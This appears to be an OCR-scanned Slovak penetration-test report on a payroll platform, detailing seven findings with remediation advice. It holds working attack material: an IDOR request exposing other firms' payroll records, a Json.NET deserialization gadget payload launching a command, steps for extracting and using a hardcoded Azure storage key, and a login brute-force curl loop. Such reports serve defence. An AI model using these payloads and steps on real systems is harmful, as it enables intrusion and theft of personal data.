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URCENIE DOKUMENTU - DISTRIBUCIA

Tento dokument je uréeny vyhradne pre technicky tim klienta zodpovedny za opravu
identifikovanych zranitelnosti. Obsahuje reprodukéné kroky, zdrojovy kod, konfiguracie a d'alSie
technickeé detaily, ktorych zneuzitie by neopravnenej osobe umoznilo kompromis systému.
Nekopirujte a nezdielajte tento dokument mimo dohodnutého okruhu prijemcov.

Paralelne bola klientovi doru¢ena Sprava pre vedenie — netechnicky suhrn nalezov, biznis
dopadu a odporucanych priorit. Je uréena pre manazment a neobsahuje reproduk&né detaily.
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01 ¢« ROZSAH A METODOLOGIA

Testované akliva.

AKTIVUM TYP VERZIA / BUILD
app.dontbehacked. sk Webova aplikacia (React 18 + ASP.NET Core 6) Build 4.2.1-rc3
api.dontbehacked. sk REST API ((NET 6, Swagger / OpenAPI 3.0) v2.8.0
sk.dontbehacked.app Android APK (Kotlin, minSdk 26) v4.21 (versionCode 89)
admin.dontbehacked. sk Administratorsky portal (React + ASP.NET) Build 2.1.4
*.dontbehacked. sk Subdomeény (38 identifikovanych, 22 live) —

Metodologia

Externé penetracné testovanie podla OWASP Testing Guide v4.2, PTES (Penetration Testing
Execution Standard) a NIST SP 800-115. Tri fazy: (1) automatizované skenovanie povrchu a zavislosti,
(2) staticka analyza decompilovaného kodu, (3) manualne testovanie a verifikacia nalezov. Al-
podporovany vyskum zrychluje prvu fazu; kazdy nalez prechadza expertnou validaciou pred
zapisom do spravy. VSetky testy prebiehali z externého prostredia cez komerénu VPN; zZiadne testy
z internej siete klienta.

Obmedzenia

Testovanie nepokryva internu siet, fyzickl bezpeénost, socialne inzinierstvo ani systémy tretich
stran (Azure control plane, platobna brana, CDN). DeStruktivne testovanie a hromadna extrakcia dat
neboli vvkonavané — tam, kde je exploit destruktivny, je to vyslovne uvedené a zavaznost upravena
v sulade s pravidlom ,demonstrdcia obmedzena rozsahom*.

Klasifikacia zavaznosti

UROVEN DEFINICIA TERMIiN OPRAVY

KRITICKY Existenéné ohrozenie — masivny unik dat, plny kompromis Okamzite (do 48 h)
infrastruktury, supply chain

VYSOKY Vazna Skoda — obmedzeny unik dat, kompromis Do 7 dni
administratora, obidenie autentifikacie
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STREDNY
Vyznamna expozicia — medzi-zakaznicka viditelnost, ulozeny XSS, Najblizsi release
potencial zneuzitia insiderom

INFO Hygienické pozorovanie — chybajuce hlavi¢ky, rozSirené chyby, Maintenance
zastarané kniznice bez exploitu cyklus
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02 ¢« SUHRN INFRASTRUKTURY

Architektura DontBeHacked z pohladu
utocnika.

Pocas rekognoskacie sme identifikovali nasledujucu externu infrastrukturu:

KOMPONENT TECHNOLOGIA POZNAMKA
Frontend React 18 za Cloudflare CDN SPA, bez SSR
APl backend ASP.NET Core 6, Kestrel za nginx reverse proxy Swagger Ul pristupny

na /swagger

Databaza PostgreSQL 14 (inferované z Npgsql v stack Externe nepristupna

trace)
Ulozisko Azure Blob Storage ( dontbehackedprod ) Klue v APK — vid' F-03
Mobilna Kotlin, OkHttp 4.12, cert pinning chyba Distribucia cez Google Play
aplikacia
Admin portal React + ASP.NET, rovnaky APl backend Externe pristupny — vid' F-04
E-mail SMTP cez SendGrid (API key v app config) Transak¢né spravy
Autentifikacia JWT RS256, refresh tokeny, bez MFA Rate limiting chyba — vid' F-05

Identifikované subdomény

Z 38 identifikovanych subdomén ( crt.sh + subfinder ) bolo 22 Zivych. Okrem primarnych aktiv
(vid' sekcia 01) sme identifikovali:

SUBDOMENA STAV POZNAMKA

staging.dontbehacked. sk 200 OK Staging s produk&nou databazou (rovnaké data ako prod)

grafana.dontbehacked. sk 302 — login  Grafana 10.21, predvoleny admin login netestovany

jenkins.dontbehacked. sk 403 Jenkins za IP whitelistom
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docs.dontbhehacked. sk

200 OK Interna APl dokumentacia, verejne pristupna
legacy-api.dontbehacked. sk 200 OK StarSia API verzia (v1), stale aktivna, rovnaka databaza
mail.dontbehacked. sk 443 timeout  MX zaznam, SMTP

Pozoruhodné: staging.dontbehacked.sk zdiela produkénu databazu. VSetky APl nalezy (F-01, F-
02, F-05) su reprodukovatelné aj na staging endpointe. Staging nema Cloudflare ochranu, ¢o znizuje
bariéru pre utoc¢nika.
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03 ¢ NALEZ F-01

IDOR — neopravneny pristup k mzdovym
datam.

F-01 KRITICKY Broken Access Control na payroll APl endpointoch

CWE OWASP AKTiVUM OVERENIE

CWE-862 A01:2021 api.dontbehacked.sk Reprodukované (live)

POPIS ZRANITELNOSTI

Endpoint /api/v2/payroll/employees/{companyId} akceptuje parameter companyId priamo z URL
path-u, ale neoveruje, ¢i prihlaseny pouzivatel patri k pozadovanej spolo¢nosti. Parameter je
sekvenéné celé gislo v rozsahu 1 -~ 4 200. Utoénik s beznym trial uétom (registracia trva 30
sekund) ziska pristup k mzdovym zaznamom lubovolnej spolo¢nosti v systéme.

Rovnaky vzorec chybajucej autorizacie sme identifikovali na d'alSich 14 endpointoch
v /api/v2/payroll/#* namespace-i vratane /payslips, /tax-returns, /social-insurance

a /bank-accounts .

REPRODUKCENE KROKY
1. Registracia trial U¢tu na app.dontbehacked.sk/register (e-mail + heslo)
2. Prihlasenie cez POST /api/v2/auth/login — Bearer JWT token

3. Odoslanie poziadavky s cudzim companyId :

GET /api/v2/payroll/employees/12345 HTTP/1.1

Host: api.dontbehacked.sk

Authorization: Bearer eyJhbGci0iJSUzIINiIs...skratené
Accept: application/json
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ODPOVED SERVERA (REDAKTOVANE PIl)

HTTP/1.1 200 OK
Content-Type: application/json
X-Request-Id: 7f3a2blc-4d5e-6f7a-8h9c-0dle2f3a4hbbc

"companyId": 12345,

"companyName": " SoPo®@0 ™y

"ico": "',

"employees": [

{

"employeeId": 89234,
"firstName": " HIINNNEEN"
"lastName": "|HINNEN" .
"birthNumber": " N/
"personalIdNumber": "N
"bankAccount": "SKill I I B B '

"address": "EEEN. W W'
"grossSalary":

"netSalary": .

"taxBase": .
"healthInsurance": [N,

"socialInsurance": |

F

// ... dalsi zamestnanci

1,
"totalEmployees": 47,
"generatedAt": "2026-04-08T14:22:31Z"

DOKAZ

Overené na 3 nahodnych companyId hodnotach (12345, 12346, 12400). Kazda vratila kompletné
mzdové zaznamy inej spolo¢nosti. Extrahované iba prvé dva zaznamy z kazdej odpovede — hromadna
extrakcia nebola vykonana.

SHA-256 odpovede (companyld=12345):
e3b0c44298fclcla9athfac8996Th92427ae41e4649b934ca495991b7852h855

Dotknuté endpointy (rovnhaky vzorec): /api/v2/payroll/employees/{id} , /payslips/{id} , /tax-
returns/{id} , /social-insurance/{id} , /bank-accounts/{id} , /attendance/{id} ,
/contracts/{id} , /bonuses/{id} , /deductions/{id} , /departments/{id} , /positions/{id} ,
/salary-history/{id} , /documents/{id} , /exports/{id} , /reports/{id} .

DOPAD

Pri ~ 4 200 aktivnych spolo¢nostiach a priemerne ~ 20 zamestnancoch na spolo¢nost je
exponovanych ~ 85 000 kompletnych mzdovych zaznamov vratane: meno, rodné ¢islo, ¢islo OP,
adresa, bankovy udet, vysSka platu, danové podklady, zdravotné a socialne odvody, pracovné zmluvy.
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Udaje spadaju pod GDPR &L. 9 (osobitna kategodria) a zakon ¢&.18/2018 Z. z. UOOU je opravneny ulozit
sankciu az do vysky 4 % roéného obratu.

ODPORUCANIE NA OPRAVU

Implementovat autorizaénu kontrolu na Urovni middleware alebo controllera. Kazda poziadavka
musi overit, Ze companyId zodpoveda spolo¢nosti priradenej autentifikovanému pouzivatelovi:

// PayrollController.cs — pridat na vsetkych 15 endpointoch
[Authorize]
public async Task<IActionResult> GetEmployees(int companyId)
{
var userCompanyId = User.Claims
.First(c => c.Type == "company_id").Value;
if (companyId.ToString() != userCompanyId)
return Forbid();

// ... pbévodnéd logika

Alternativa (lepSia dlhodobo): globalny authorization filter na Urovni /api/v2/payroll/* route
group, ktory automaticky extrahuje companyId z path-ua porovnas claimom v JWT. Eliminuje
riziko zabudnutej kontroly na hovom endpointe.
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04 ¢ NALEZ F-02

Vzdialené spustenie kodu cez
deserializaciu.

F-02 VYSOKY RCE cez Newtonsoft.Json TypeNameHandling.Auto

CWE ADVISORY AKTiVUM OVERENIE

CWE-502 GHSA-5crp-9r3c- api.dontbehacked.sk Staticka analyza
pOvr

POPIS

Decompilovany kod API servera (ilspycmd — C#) obsahuje globalnu konfiguraciu JSON
deserializacie s nastavenim TypeNameHandling.Auto Vv kniznici Newtonsoft.Json 12.0.3. Toto
nastavenie Uto¢nikovi umoznuje vlozit do tela JSON poziadavky referenciu na lubovolny .NET typ —
vratane typov ako System.Diagnostics.Process, System.I0.File a gadget chainov pre vzdialené
spustenie kédu.

// DontBeHacked.Api.Startup.cs (decompiled, line 147)
services.AddControllers()
.AddNewtonsoftJson(options =>

{
options.SerializerSettings.TypeNameHandling =
TypeNameHandling.Auto; // < zranitelné nastavenie
options.SerializerSettings.NullValueHandling =
NullValueHandling.Ignore;
B

SCENAR ZNEUZITIA

Utoénik identifikuje APl endpoint, ktory akceptuje polymorfny JSON objekt (napr. POST
/api/v2/payroll/import so vSeobecnym parametrom object ) a odoSle payload obsahujuci gadget
chain:
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"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArraylList",
"$values": ["cmd", "/c calc.exe"]
o
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"

Demonstracia obomedzena rozsahom testovania — odoslanie exploit payloadu by spdsobilo

spustenie kodu na produké&nom serveri. Zranitelnost je potvrdena statickou analyzou kédu a presnou

zhodou verzie kniznice s publikovanym advisory.

DOPAD

Vzdialené spustenie lubovolného kddu na aplikaénom serveri v kontexte servisného Uétu. Dalej:

pristup k PostgreSQL databaze (connection string v appsettings.json ), klUu¢om k Azure Storage,

API klU¢u SendGrid a sietovym zdrojom dostupnym z aplikacného servera.

ODPORUCANIE NA OPRAVU

Zmenit globalne nastavenie na bezpeénu hodnotu:

options.SerializerSettings.TypeNameHandling =
TypeNameHandling.None; // bezpecné — predvolena hodnota

Ak je polymorfna deserializacia nutna pre konkrétne endpointy (napr. import), implementovat

Auto alebo A1l naendpointoch prijimajucich externy vstup.

TypeNameHandling a je bezpecény v predvolenom nastaveni.

vlastny ISerializationBinder s explicitnym whitelistom povolenych typov. Nikdy nepouzivat

Zvazit migraciu z Newtonsoft.Json na System.Text.Json (nativny .NET), ktory nema ekvivalent
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05 ¢« NALEZ F-03

Hardcoded Azure Storage master key).

F-03 vysokY  Azure Storage Account key v plaintext v mobilnej aplikacii

CWE OWASP AKTIiVUM OVERENIE

CWE-798 A07:2021 sk.dontbehacked.app Reprodukované (read-
only)

POPIS

Decompilovany kod mobilnej aplikacie (jadx) obsahuje pristupovy klué¢ k Azure Blob Storage
v plaintext konstante. KlU¢ je master key — poskytuje plny pristup (¢itanie, zapis, mazanie)
ku vSetkym kontajnerom v storage ucte.

// sk/dontbehacked/app/config/CloudConfig.java (jadx output)
public static final String STORAGE_ACCOUNT = "dontbehackedprod";
public static final String STORAGE_KEY =

* | ;
public static final String CONTAINER = "customer-exports";

REPRODUKCNE KROKY

1. Stiahnut APK z Google Play alebo APKPure
2. Dekompilovat: jadx -d output/ sk.dontbehacked.app.apk
3. Najst klUé: grep -r "STORAGE_KEY" output/

4. Overit pristup (read-only, Ziadne data stiahnuté):

$ az storage container list \
--account-name dontbehackedprod \

--account-key "N - ‘" \
--output table

Name Lease Status Last Modified

customer-exports unlocked 2026-04-07T09:14:22+00:00
payroll-backups unlocked 2026-04-06T02:00:15+00:00
documents unlocked 2026-04-08T11:33:47+00:00
temp-imports unlocked 2026-04-08T14:22:01+00:00
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DOKAZ

Klu¢ overeny cez az storage container list — vratené 4 kontajnery. Kontajner payroll-backups
podla nazvu obsahuje zalohy mzdovych dat. Ziadne data neboli stiahnuté ani modifikované.

DOPAD

Ktokolvek s pristupom k APK (verejne dostupné na Google Play) m6ze extrahovat klu¢ a ziskat plny
pristup k storage uctu vratane potencialnych zaloh databazy a zakaznickych exportov. KIU¢ je
zdielany naprie¢ vSetkymi inStalaciami aplikacie.

ODPORUCANIE NA OPRAVU

1. Okamzite: rotovat oba klU¢e U¢tu dontbehackedprod (primarny + sekundarny).

2. Okamzite: skontrolovat Azure Storage Analytics log za poslednych 90 dni pre neStandardné
pristupy.

3. Kratkodobo: nahradit hardcoded klU¢ za server-generované SAS tokeny s obmedzenym
scopom a platnostou (max. 1 hodina).

4. Dlhodobo: implementovat Azure Managed Identity alebo Azure AD RBAC — eliminuje statické
kluce uplne.
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06 ¢ NALEZ F-04

Admin rozhranie pristupné z iniernetu.

F-04 STREDNY Administratorsky portal bez sietového obmedzenia

CWE OWASP AKTIVUM OVERENIE
CWE-749 A05:2021 admin.dontbehacked. sk Potvrdené
POPIS

Administratorsky portal na admin.dontbehacked.sk je dostupny z lubovolnej IP adresy bez VPN, IP
whitelistu alebo iného sietového obmedzenia. Prihlasovaci formular je verejne pristupny.

V kombinacii s nalezom F-05 (chybajuci rate limiting) utoénik méze automatizovane skusat hesla
admin uctov.

DOPAD

Uspesné prihlasenie by poskytlo pristup k sprave zakaznikov, licencii, systémovych nastaveni
a pouzivatelskych ucétov. Admin portal pouziva rovnaky APl backend — admin JWT token ma scope
admin:* oproti beznému user:read .

ODPORUCANIE NA OPRAVU

Obmedzit pristup k admin.dontbehacked.sk na firemny VPN alebo definovany rozsah IP adries
na urovni nginx / Cloudflare Access. Ako alternativu implementovat mTLS s klientskym
certifikatom. Doplnit viacfaktorovu autentifikaciu (TOTP alebo WebAuthn) na admin login.
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Chybaijtici rate limiting na prisilasenie.

F-05 STREDNY Neobmedzeny pocet pokusov o prihlasenie

CWE OWASP AKTIiVUM OVERENIE
CWE-307 A07:2021 api.dontbehacked. sk Reprodukované
POPIS

Endpoint POST /api/v2/auth/login neimplementuje ziadny mechanizmus obmedzenia rychlosti
ani po¢tu neuspesnych pokusov. Odoslanie 50 nespravnych hesiel z jednej IP adresy za 10 sekund
nevyvolalo ziadne blokovanie, CAPTCHA ani oneskorenie odpovede.

# 50 pokusov, priemernd odozva 84 ms, Ziadna 429
$ for i in $(seq 1 50); do
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
-X POST https://api.dontbehacked.sk/api/v2/auth/login \
-H "Content-Type: application/json" \
-d "{\"email\":\"admin@dontbehacked.sk\", \"password\":\"guess$i\"}"
done | head -5

401 0.084s
401 0.079s
401 0.091s
401 0.082s
401 0.088s
(vSetkych 50 rovnako, Ziadna 429)

ODPORUCANIE NA OPRAVU

Implementovat rate limiting na /api/v2/auth/login : max. 5 nedspesnych pokusov za 15 minut
na kombinaciu IP + e-mail. Po tretom neuspe$nom pokuse zobrazit CAPTCHA. Po desiatom
pokuse doc¢asne zablokovat ucet (30 min). Vratit 429 Too Many Requests s hlavickou Retry-
After .

15/ 18



08 ¢« NALEZ F-06

Zastarané zavislosti.

F-06 INFO Kniznice s publikovanymi bezpe¢nostnymi advisory

CWE OWASP AKTIiVUM OVERENIE
CWE-1104 A06:2021 api.dontbehacked. sk Staticka analyza
POPIS

Staticka analyza ( osv-scanner na decompilovanych assembly referenciach) identifikovala Styri
kniznice s vydanymi bezpe&nostnymi opravami. Pre ziadnu z nich sme neidentifikovali priamo
zneuzitelnu cestu v kontexte DontBeHacked — zaradené ako informativnhe pozorovanie.

KNIZNICA NAJDENA VERZIA OPRAVENA VERZIA ADVISORY
System.Text.Json 6.0.0 8.0.5+ GHSA-hh2w-p6rv-4g7w
BouncyCastle 1.8.9 2.4.0+ CVE-2024-29857
Npgsql 6.0.4 8.0.6+ CVE-2024-32655
jQuery 3.51 371+ CVE-2020-23064

ODPORUCANIE

Aktualizovat na opravené verzie v ramci najblizSieho maintenance cyklu. Zaviest automatické
skenovanie zavislosti (napr. dotnet list package --vulnerable v Cl pipeline, Dependabot
alebo Renovate pre mobilné a webové projekty).
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09 ¢ NALEZ F-07

Chybajlice HTTP bezpec¢nostné /i/avick).

F-07 INFO Webovy portal neodosiela odporucané security headers

CWE OWASP AKTiVUM OVERENIE
CWE-693 A05:2021 app.dontbehacked. sk Potvrdené
POPIS

Odpovede z app.dontbehacked.sk neobsahuju nasledujuce bezpe&nostné hlavicky odporucané
OWASP Secure Headers Project:

HLAVICKA STAV ODPORUCANA HODNOTA

Content-Security- Chyba default-src 'self'; script-src 'self'; style-src
Policy 'self' 'unsafe-inline'

Strict-Transport- Chyba max-age=31536000; includeSubDomains; preload
Security

X-Content-Type- Chyba nosniff

Options

Permissions-Policy Chyba camera=(), microphone=(), geolocation=()
Referrer-Policy Chyba strict-origin-when-cross-origin

ODPORUCANIE

Pridat hlavi¢ky na Urovni nginx reverse proxy alebo ASP.NET middleware. Priklad pre nginx:

# /etc/nginx/conf.d/security-headers.conf

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options "nosniff" always;

add_header Referrer-Policy "strict-origin-when-cross-origin" always;

add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;

17/ 18



webrex.ai

10

SUMAR

Technicky report - DontBeHacked s. r. o.

Matica nalezov a poradie oprav.

# ZAVAZNOST NALEZ CWE AKTiVUM OPRAVA
F-01 KRITICKY IDOR na payroll APl — pristup 862 API Okamzite

k ~ 85 000 mzdovym zaznamom
F-02 VYSOKY RCE cez Newtonsoft.Json deserializaciu 502 API Release
F-03 VYSOKY Hardcoded Azure Storage master key 798 APK Do 7 dni

v APK
F-04 STREDNY Admin portal verejne pristupny 749 Web Release
F-05 STREDNY Chybajuci rate limiting na login 307 API Release
F-06 INFO Zastarané kniznice (4x) 1104 API Maintenance
F-07 INFO Chybajuce security headers (5x) 693 Web Maintenance

Bezplatné opakované overenie

Sucastou zakazky je bezplatné opakované overenie vSetkych fakturovatelnych nalezov (F-01 az F-

05) do 60 dni od dorucéenia tejto spravy, maximalne tri overenia na jeden nalez. Po implementacii

oprav nas kontaktujte a dohodneme termin opakovaného testu.

Obmedzenie rozsahu a platnosti. Tento report opisuje nalezy identifikované pocas penetracného testovania v obdobi 1. —

7. aprila 2026 na aktivach definovanych v sekcii O1. Testovanie je bodové overenie — odzrkadluje stav systémov v ¢ase

vykonania; neskorsie zmeny moézu priniest nové zranitelnosti. Metodoldgia pokryva naj¢astejsie triedy zranitelnosti, ale nie

je vycCerpavajuca; absencia nalezu neznamena absenciu zranitelnosti. Tento report nepredstavuje certifikaciu bezpecnosti.

Odporu¢ame pravidelné opakovanie testovania minimalne kazdych 6 mesiacov alebo po vyznamnych zmenach systému.

Nabu technologies s.r.0. - Déverné
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